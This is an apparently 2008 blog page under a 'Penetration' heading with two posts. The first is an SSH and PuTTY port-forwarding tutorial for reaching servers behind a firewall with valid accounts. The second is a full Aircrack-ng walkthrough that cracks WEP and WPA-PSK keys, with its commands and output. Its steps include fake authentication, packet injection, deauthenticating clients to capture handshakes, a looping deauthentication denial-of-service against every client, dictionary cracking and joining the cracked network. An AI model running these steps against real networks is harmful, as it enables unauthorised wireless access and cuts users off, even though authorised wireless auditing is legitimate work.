Breaking Firewalls With OpenSSH And PuTTY

jbrown 17 February, 2008 12:05 Penetration Permalink Trackbacks (0)

Breaking Firewalls with OpenSSH and PuTTY

If the system administrator deliberately filters out all traffic except port 22 (ssh), to a single server, it is very likely that you can still gain access other computers behind the firewall. This article shows how remote Linux and Windows users can gain access to firewalled samba, mail, and http servers. In essence, it shows how openSSH and PuTTY can be used as a VPN solution for your home or workplace, without monkeying with the firewall. This article is NOT suggesting you close port 22. These step are only possible given valid accounts on all servers. But, read on, you may be surprised what you can do, without punching additional holes through the firewall -- punching additional holes is a bad idea.

OpenSSH and Linux

From the Linux laptop 192.168.1.106, it is possible to get access to the resources behind the firewall directly, including SAMBA server, HTTP Server, and Mail Server which are blocked from the outside by the firewall. The firewall only permits access to the SSH Server via port 22; yet, as you will see, it is possible to get access to the other servers.

Linux diagram

The SSH Server is seen as 66.35.250.203 from the outside. To tunnel traffic through the SSH Server, from the Linux laptop 192.168.1.106, create the following "~/.ssh/config" file, on the Linux laptop.

~/.ssh/config

## Linux Laptop .ssh/config ##
Host work
HostName 66.35.250.203
        User sporkey
        LocalForward 20000 192.168.0.66:80
        LocalForward 22000 192.168.0.66:22
        LocalForward 22139 192.168.0.8:139
        LocalForward 22110 192.168.0.5:110

Host http
HostName localhost
        User donkey
        Port 22000
        HostKeyAlias localhosthttp

This file must have the following rights.

  $  chmod 600 ~/.ssh/config

Take a look again at the file above. Note the entry for "LocalForward 22000 192.168.0.66:22", and compare this to the network diagram. The connection to the SSH Server is made by running the command below, from the Linux laptop (192.168.1.106).

 $ ssh -l sporkey 66.35.250.203

Quick hint: the above command can be shortened, since the user name "sporkey" and the "HostName" are already specified in the config file. Therefore, you can use "ssh work" as shown below.

 $ ssh work

After this connection is made, it is possible to access the HTTP Server directly, assuming the account donkey has access to this server. The following command below is executed on the Linux laptop (192.168.1.106). Yes, that is on the Linux laptop in a new window. Again, this will be executed from 192.168.1.106 in a new session. So note here the Linux laptop is getting direct access to (192.168.0.66). Reference the diagram above. This is the "localhost" of the Linux laptop -- you got this, right? The ssh sessions are initiated from the Linux laptop.

  $ ssh -l donkey localhost -p 22000

Since the config file maps "http" to localhost port 2200, the above command can be shortened to the following:

  $ ssh http

Wait, there is a better way. Instead of creating two terminal sessions, one for "ssh work", then, another one for "ssh http", why not put it all together in one command.

   $ ssh -N -f -q work;ssh http

The above command will establish the connection to work, forwarding the necessary ports to the other servers. The "-N" is for "Do not execute remote command", the "-f" requests ssh to go to the background, and "-q" is to suppress all warnings and diagnostic messages. So, still not short enough for you? Then create an alias, alias http='ssh -N -f -q work;ssh http' and put that in your "~.bashrc" file, which is about as short as you can get, since typing http on the command line would get you to the HTTP server.

To copy files to this server, the command below is used. Note uppercase "-P" follows "scp". If you are in the ".ssh" directory you will see an "authorized_keys2" and maybe an "authorized_keys", which you may want to append to the like files on the destination server. These files are only listed as an example. Any file could be copied; but, if you copy these files to the remote server and append the contents to the remote server's authorized_key* files, then, you will not be prompted for a password the next time you make a connection. See Tip 12 in Linux Tips. You will need to create an authorized_keys2 and authorized_keys file with all the public keys of the computers that will connect. Below, assume you have these keys in the currently directory on the laptop, and you want to copy this to the HTTP Sever [192.168.0.66]. The keys go in "~/.ssh/authorized_keys2" for ssh2. Again, take a look at Linux Tips . You do not want to write over any existing keys.

 $ scp -P 22000 authorized_keys* donkey@localhost:./.ssh/.

But, because you have everything in the "config" file, you can shorten the above command to the following:

 $ scp authorized_keys* http:./.ssh/.

The following command, executed from the Linux laptop, will download the web page from the remote server (192.168.0.66).

 $ wget http://localhost:20000/

Linux Laptop becomes Company Web Server -- Power of RemoteForward

Suppose the Linux laptop is running a web server. Is it possible for the people in the company to view this, the web server on the laptop (192.168.1.106), when they attach to HTTP Server (192.168.0.66)? Absolutely. Think about this because what is being suggested here is that a laptop, with no direct access to the HTTP server, is actually going to take over the company web server. Yes, that is exactly what will be shown here; although, instead of taking over the company web server, which is running on port 80 of (192.168.0.66), you will see how to add an additional web server on port 20080. However, if you are intent upon taking over the company web server, you would have to perform similar steps as root, since only root has the ability to take over the privileged ports. But, start with this example first, then, you'll see how to do this on port 80. To perform this magic, the "/etc/ssh/sshd_config", on the company web server (192.168.0.66), must have the variable "GatewayPorts" set to "yes", otherwise, only the users logged into HTTP Server will be able to see the laptop's web page. Instead, we want everyone in the company to have direct access to the added port.

 GatewayPorts yes

After making the change, you will need to restart sshd.

 $ /etc/init.d/sshd restart

In the Linux laptop's "~/.ssh/config" add the following entry RemoteForward 20080 localhost:80 so that the complete "~/.ssh/config" is shown below.

## Updated Linux Laptop .ssh/config  ##
Host work
HostName 66.35.250.203
        User sporkey
        LocalForward 20000 192.168.0.66:80
        LocalForward 22000 192.168.0.66:22
        LocalForward 22139 192.168.0.8:139
        LocalForward 22110 192.168.0.5:110

Host http
HostName localhost
        User donkey
        Port 22000  
        RemoteForward 20080 localhost:80
        HostKeyAlias localhosthttp

If you perform a "netstat -l" from 192.168.0.66, the remote company web server, you should see the following:

 tcp  0  0 *:20080 *:*  LISTEN

This means that anyone, in the company, can view this webpage http://192.168.0.66:20080/ on port 20080. If you wanted port 80, the default http port, the connected user would have to have root privileges.

If you did not change the "/etc/ssh/sshd_config" file, "GatewayPorts" defaults to "no". And executing a "netstat -l" (that's an ell), would return the following:

 tcp   0 0 ::1:20080 *:* LISTEN

With the above restrictions, only users on the computer 192.168.0.66 would see the webpage on 192.168.1.106 from port 20080. This is what happens by default, since "GatewayPorts" is set to no.

By the way, did you figure out what the HostKeyAlias command does? If you make multiple localhost entries in your config file without HostKeyAlias, .ssh/known_hosts will contain multiple entries for "localhost" with different keys. Try it without HostKeyAlias and it should bark at you.

For references on generating ssh key pairs, securing an ssh server from remote root access, and samba mounts through an ssh tunnel see (TIP 12, TIP 13, and TIP 138) in Linux Tips listed at the end of this article. In addition,if you are a system administrator, may want to take note of (TIP 14), keeping yearly logs, and (TIP 26), which shows how to kill a user and all their running processes. In addition, the following (TIP 10, TIP 11, TIP 15, TIP 24, TIP 47, TIP 52, TIP 89, TIP 104, TIP 148, and TIP 150) may help with system security.

 


PuTTY for WindowsXP

From your Windows XP laptop, you want access to the following resources behind a firewall "SSH server", "Mail Server", and "HTTP Server". The only port allowed in is ssh, port 22, to the "SSH Server". So, how do you get access, from the laptop to the other resources using an ssh tunnel?

Network Diagram


Step 1: (Download PuTTY)

Download putty.exe and plink.exe. Although plink.exe is not needed, it provides some handy features you may end up using later.

I normally put the files in "c:/bin", then, add this directory to the path.

 


Step 2: (Load the IP Address of Your Server)

Substitute the IP address 66.35.250.203 for the IP address of your ssh server and save it. Note 66.35.250.203 really is sourceforge, so unless you're access projects on sourceforge, you probably want a different IP address.

Initial ssh

 


Step 3: (Create the Necessary Tunnels)

There are 2 additional servers you need access to. The "HTTP server" 192.168.0.66, and "Mail server" 192.168.0.5. Click on Tunnel and fill in the following values. The HTTP server works on port 80, so enter 80 in the Source port. The destination is 192.168.0.60:80. Hit "Add" to commit this entry.

Initial ssh

Your listing should be similar to the following. Make sure each entry has an "L" listed in front of it. Local port 25 will now go to server 192.168.0.5 on port 25. But, ports 110 and 25 will go to server 192.168.0.5.

Review ssh


Step 4: (Testing the Connection)

If you now open your ssh connection, click on "Sourceforge", or whatever you name it, then, you can browse the data on the "HTTP Server" by filling in local host at the browser. It makes sense to "Check" the connection at this stage -- remember to put in the correct IP addresses for your server.

browser ssh

 


Step 5: (Setting up Mail)

Mozilla Thunderbird is an excellent mail package. It will work in place of Microsoft Outlook, when connect to your work's Exchange, Postfix, or Sendmail server.

The server location is localhost. And notice the option below to "Leave messages on server". If you have another email client on your workstation at work, then, you might want to keep the mail on the server.

thunderbird


Step 6: (Getting Access to Samba Shares -- Loopback Adapter)

From the Windows XP computer, you want to add a Micosoft loopback Adapter. From the control panel, follow the steps below. By the way, it is possible to add more than one adapter.

  1.  Yes, I already connected the hardware 
  2.  Add a new hardware device (bottom of menu)
  3.  Install the hardware that I manually select from a list (Advanced)
  4.  Select Network Adapters
  5.  Micosoft Loopback Adapter

selectloopback

Once the adapter is added, you must assign an IP address. The first adapter will be assigned 10.0.0.1, the second will be assigned 10.0.0.2, etc. DO NOT enter a "Default gateway".

Loopback1

The second adapter will have the IP address 10.0.0.2. Remember, there are two samba servers in the network diagram. Both the HTTP server and the SAMBA server have samba shares. Again, DO NOT enter a "Default gateway".

Loopback1

The loopback Adapters should appear in the control panel

finalloop.jpg


Step 7: (Getting Access to Samba Shares -- SSH Configuration Settings)

Now you want to go back into the Putty configuration. In the "Source port" text box, yes it is small, enter 10.0.0.1:139; but note, the image below only shows 0.0.1:139 because it has scrolled to the left. Also, enter 192.168.0.66:139 for the destination address. When done, click "Add".

puttyloopbackup1

The completed entry should look like the following:

puttyloopbackupc

You can repeat the same procedure above for more samba shares, if you want. Although not shown, the same procedure is used for 10.0.0.2:139; but, it will have a destination of 192.168.0.8. Again, there are two samba shares in the network diagram.

 


Step 8: (Getting Access to Samba Shares -- View It)

To view the samba share, click Start/Run and type in 10.0.0.1

sambaview.png


Special Note

You will probably have to reboot. Also, read and download the following patch from Microsoft.

Also, disable File and Printer Sharing for Microsoft Networks for both adapters.

Disable NetBIOS over TCP/IP; but, make sure LMHosts Lookup is enabled.

 


DOWNLOADS

OpenSSH
www.openssh.org

PuTTY
http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html

Other Links

http://souptonuts.sourceforge.net/sshtips.htm


Aircrack-Ng (WEP, WPA-PSK Crack)

jbrown 17 February, 2008 12:02 Penetration Permalink Trackbacks (0)

Aircrack-ng (WEP, WPA-PSK Crack)

Aircrack is a set of tools for auditing wireless networks:

  • airodump: 802.11 packet capture program
  • aireplay: 802.11 packet injection program
  • aircrack: static WEP and WPA-PSK key cracker
  • airdecap: decrypts WEP/WPA capture files

    Install Madwifi Driver

    This installation will install madwifi driver with patch aircrack.
  • Download driver and patch. First, download the latest patch, and then download the corresponding version of driver.
    # get http://patches.aircrack-ng.org/madwifi-ng-r1679.patch
    # get http://snapshots.madwifi.org/madwifi-ng/madwifi-ng-r1679-20060707.tar.gz 
    
  • Install
    # tar zxvf madwifi-ng-r1679-20060707.tar.gz
    # cd madwifi-ng-r1679-20060707/
    # patch -Np1 -i ../madwifi-ng-r1679.patch
    # make
    # make install
    # mod_probe ath_pci
    
  • Create a new interface from wifi0. This might be required only for madwifi-ng driver. This creates ath1 monitor mode.
    # wlanconfig ath1 create wlandev wifi0 wlanmode monitor
    

    Install aircrack-ng

  • Download aircrack-ng from http://www.aircrack-ng.org/
  • Compile and install
    # tar zxvf aircrack-ng-0.6.tar.gz
    # cd aircrack-ng-0.6/
    # make
    # make install
    # modprobe ath_pci
    
  • Find wireless AP
    # iwlist ath0 scan
    ath0      Scan completed :
              Cell 01 - Address: 00:03:2F:23:96:68
                        ESSID:"hoge1"
                        Mode:Master
                        Frequency:2.412 GHz (Channel 1)
                        Quality=56/94  Signal level=-39 dBm  Noise level=-95 dBm
                        Encryption key:on
                        Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 6 Mb/s
                                  12 Mb/s; 24 Mb/s; 36 Mb/s; 9 Mb/s; 18 Mb/s
                                  48 Mb/s; 54 Mb/s
                        Extra:bcn_int=100
                        IE: WPA Version 1
                            Group Cipher : TKIP
                            Pairwise Ciphers (1) : TKIP
                            Authentication Suites (1) : PSK
                        Extra:ath_ie=dd0900037f0101000eff7f
              Cell 02 - Address: 00:03:2F:23:92:64
                        ESSID:"hoge2"
                        Mode:Master
                        Frequency:2.437 GHz (Channel 6)
                        Quality=12/94  Signal level=-83 dBm  Noise level=-95 dBm
                        Encryption key:on
                        Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 6 Mb/s
                                  12 Mb/s; 24 Mb/s; 36 Mb/s; 9 Mb/s; 18 Mb/s
                                  48 Mb/s; 54 Mb/s
                        Extra:bcn_int=100
                        IE: WPA Version 1
                            Group Cipher : TKIP
                            Pairwise Ciphers (1) : TKIP
                            Authentication Suites (1) : PSK
                        Extra:ath_ie=dd0900037f01010017ff7f
    
  • Create a new interface from wifi0. This might be required only for madwifi-ng driver. This creates ath1 monitor mode.
    # wlanconfig ath1 create wlandev wifi0 wlanmode monitor
    
  • Use aurodump-ng to look the network
    # airodump-ng ath1
    
     CH 13 ][ Elapsed: 28 s ][ 2006-08-12 15:32
    
     BSSID              PWR  Beacons   # Data  CH  MB  ENC   ESSID
    
     00:03:2F:23:96:68  150       65       72   1  54. WPA   hoge1
     00:03:2F:23:92:64  101        4        0   6  54. WEP?  hoge2
    
     BSSID              STATION            PWR  Packets  Probes
    
     00:03:2F:23:96:68  00:0F:A3:1C:C4:31  140        7
     00:03:2F:23:96:68  00:0F:A3:1C:C4:3E  134        5
     00:03:2F:23:96:68  00:0F:A3:1C:C4:48  132       10  hoge1
     00:03:2F:23:96:68  00:0F:A3:11:02:C7  120       11  hoge1
    
    This result shows some access points and clients associated with APs

    Crack WEP

    How to capture (airodump) (WEP)

    1. For this example, a PrismGT card is used. It is recognized as eth0. But other card may be ath0 or something else.
    2. Change to monitor mode
      # airmon-ng
      usage: /usr/local/sbin/airmon-ng   [channel]
      Interface       Chipset         Driver
      eth0            PrismGT         prism54
      
      # airmon-ng start eth0
      usage: /usr/local/sbin/airmon-ng   [channel]
      Interface       Chipset         Driver
      eth0            PrismGT         prism54 (monitor mode enabled)
      
    3. Search WLANs. 0 to hop between channels.
      # airodump-ng eth0 out 0
      
       BSSID              PWR  Beacons   # Data  CH  MB  ENC   ESSID
      
       00:0D:0B:98:96:7F   48        2        0  11  54  WEP?  4B18E8C83ABD
       00:A0:B0:40:5C:84   87       13       16   1  54  WEP   HOGE
      
       BSSID              STATION            PWR  Packets  ESSID
      
       00:A0:B0:40:5C:84  00:04:23:52:80:41   86        4  HOGE
      
    4. Press Ctl+c. Next we will capture only channel 1 (ESSID HOGE), and specify 1 to only cature unique WEP IVs. It saves space.
      # airodump-ng eth0 out 1 1
       BSSID              PWR  Beacons   # Data  CH  MB  ENC   ESSID
      
       00:A0:B0:40:5C:84   87       36       48   1  54  WEP   HOGE
      
       BSSID              STATION            PWR  Packets  ESSID
      
       00:A0:B0:40:5C:84   00:04:23:52:80:41   87       38  HOGE
      

    Fake authentication (aireplay) (WEP)

    1. We will use airoeplay to inject packets, so we can capture packets easily. Open another console. Copy BSSID and paste as,
      # aireplay-ng -1 0 -e HOGE -a 00:A0:B0:40:5C:84 -h 0:1:2:3:4:5 eth0
      12:14:06  Sending Authentication Request
      12:14:06  Authentication successful
      12:14:06  Sending Association Request
      12:14:07  Association successful :-)
      
      If it cannot associate, use station's MAC,
      # aireplay-ng -1 0 -e HOGE -a 00:A0:B0:40:5C:84 -h 00:04:23:52:80:41 eth0
      
      Some access points require to reassociate every 20 seconds, otherwise the fake client is considered disconnected. In this case, setup the periodic re-association delay:
      # aireplay-ng -1 20 -e HOGE -a 00:A0:B0:40:5C:84 -h 00:04:23:52:80:41 eth0
      
    2. Once associated, send packets as following. If you are not associated, you see no send packet.
      # aireplay-ng -3 -b 00:A0:B0:40:5C:84 -h 0:1:2:3:4:5 -x 600 eth0
      Saving APR requests in replay_arp-1112-031550.cap
      You must also start airodump to capture replies.
      Read 39123 packets (got 1024 APR requests), sent 24543 packets...
      
    3. If it stoped sending, you need to associate again. Consider setup of the periodic re-association delay. I used crontab to re-associate again and again.

    How to crack (aircrack) (WEP)

    1. Open a new console, and type following command. Aircrack can read the updated file automatically so you can run airodump and aircrack at the same time.
      # aircrack-ng -x -0 out.ivs
      

    2. For 104bit WEP needs about one million IVs. You may need one day or more time to capture the packets. However if you use aireplay and inject, you need only few hours.
    3. This is the result. It needed only a quarter a million.
    4. Aircrack can also run on Windows but aireplay is not supported though.

    Connect to the target WLAN (WEP)

    1. Once you find the key, as XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX, use it to connect to the WLAN.
      # iwconfig eth0 mode Managed key XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX
      # dhcocd eth0
      # ifconfig eth0
      eth0      Link encap:UNSPEC  HWaddr 00-0A-79-18-35-7A-0A-00-00-00-00-00-00-00-00-00
                inet addr:192.168.0.12  Bcast:192.168.0.255  Mask:255.255.255.0
                inet6 addr: fe80::20a:79ff:fe18:357a/64 Scope:Link
                UP BROADCAST RUNNING  MTU:1500  Metric:1
                RX packets:330521 errors:0 dropped:0 overruns:0 frame:0
                TX packets:157988 errors:3 dropped:0 overruns:0 carrier:0
                collisions:0 txqueuelen:1000
                RX bytes:24164635 (23.0 Mb)  TX bytes:9864176 (9.4 Mb)
                Interrupt:11
      # ping google.com
      PING google.com (72.14.207.99) 56(84) bytes of data.
      64 bytes from 72.14.207.99: icmp_seq=1 ttl=234 time=203 ms
      64 bytes from 72.14.207.99: icmp_seq=2 ttl=234 time=201 ms
      

    WPA-PSK (Pre-shared key) Attack

    How to capture (airodump) (WPA-PSK)

    1. For this example, PrismGT card is used. It is recognize as eth0. But other card may be ath0 or something.
    2. Change to monitor mode
      # airmon-ng
      usage: /usr/local/sbin/airmon-ng   [channel]
      Interface       Chipset         Driver
      eth0            PrismGT         prism54
      
      # airmon-ng start eth0
      usage: /usr/local/sbin/airmon-ng   [channel]
      Interface       Chipset         Driver
      eth0            PrismGT         prism54 (monitor mode enabled)
      
    3. Search WLANs. 0 to hop between channels.
      # airodump-ng eth0 out 0
      
       BSSID              PWR  Beacons   # Data  CH  MB  ENC   ESSID
      
       00:0D:0B:98:96:7F   48        2        0  11  54  WEP?  4B18E8C83ABD
       00:A0:B0:40:5C:84   87       13       16   1  54  WEP   HOGE
      
       BSSID              STATION            PWR  Packets  ESSID
      
       00:A0:B0:40:5C:84  00:04:23:52:80:41   86        4  HOGE
      
    4. Press Ctl+c. Next we will capture only channel 1 (ESSID HOGE). Capture all packets. Don't specify another 1.
      # airodump-ng eth0 out 1
       BSSID              PWR  Beacons   # Data  CH  MB  ENC   ESSID
      
       00:A0:B0:40:5C:84   87       36       48   1  54  WEP   HOGE
      
       BSSID              STATION            PWR  Packets  ESSID
      
       00:A0:B0:40:5C:84   00:04:23:52:80:41   87       38  HOGE
      

    WPA Handshake capture (airoplay) (WPA-PSK)

    Capture WPA handshakes by forcing clients to reauthenticate. It can also be used to generate ARP requests as Windows clients sometimes flush their ARP cache when disconnected. This attack is totally useless if there are no associated wireless clients.
    1. WPA Handshake capture
      # aireplay-ng -0 5 -a 00:A0:B0:40:5C:84 -c 00:04:23:52:80:41 eth0
      00:43:41  Sending DeAuth to station   -- STMAC: [00:04:23:52:80:41]
      00:43:41  Sending DeAuth to station   -- STMAC: [00:04:23:52:80:41]
      00:43:41  Sending DeAuth to station   -- STMAC: [00:04:23:52:80:41]
      00:43:41  Sending DeAuth to station   -- STMAC: [00:04:23:52:80:41]
      00:43:41  Sending DeAuth to station   -- STMAC: [00:04:23:52:80:41]
      
    2. ARP request generation (optional) if above does not work.
      # aireplay-ng -0 10 -a 00:A0:B0:40:5C:84 eth0
      # aireplay-ng -3 -b 00:A0:B0:40:5C:84 -h 00:04:23:52:80:41 eth0
      
      After sending the five deauthentication packets, it starts listening for APR requests with attack 3. The -h option is necessary and must be the MAC address of an associated client.
    3. Mass denial-of-service (MDOS) attack
      # aireplay-ng -0 0 -a 00:A0:B0:40:5C:84 eth0
      
      With parameter 0, this attack will loop forever sending deauthentication packets to the broadcast address, thus preventing clients from staying connected.

    Dictionary attack (airoplay) (WPA-PSK)

    1. Download dictionaries. i.e from http://ftp.se.kde.org/pub/security/tools/net/Openwall/wordlists/
    2. Make a dictionary.
      # zcat all.gz | egrep -v '^#' > dic
      
    3. If you do not have a handshake packet, you cannot continue, so you do aireplay -0 again.
      # aircrack-ng -w dic -0 out.cap
      
      Opening out.cap
      Read 154839 packets.
      
         #  BSSID              ESSID                     Encryption
      
         1  00:A0:B0:40:5C:84  HOGE                      WPA (1 handshake)
         2  00:02:2D:C2:38:AF                            Unknown
      
      Index number of target network ? 1
      
    4. Once you find a handshake packet, you can stop airodump.
    5. Yes, you find it! For this, I actually used Windows because my Linux is running an ancient Pentium II 300kHz! Only this process needs CPU power, so I used my Windows (Celeron 3GHz). It actually took less than three minutes, though.

    Note: In my experience, using Aircrack is the best tool compare to others. Aircrack on Linux supports packet injection which means we can increase the traffic, so we need only few hours to capture sufficient packets. Otherwise you will need several days.

    Here is other my reports.

    ToolOSCPU usageEncryption802.NIC SupportPacket injectionMy recommendation
    Airsnort
    (note)
    WindowsHighWEP11bFewNot supportedLow
    Airsnort
    (note)
    LinuxHighWEP11bFewNot supportedLow
    Aircrack
    (note)
    WindowsLowWEP, WPA11a/b/gManyNot supportedMid
    AircrackLinuxLowWEP, WPA11a/b/gManySupported!Recommended!
  • *Information is provide for educational purposes only*


    Powered by LifeType
    © 2006 - Design by Omar Romero (all rights reserved)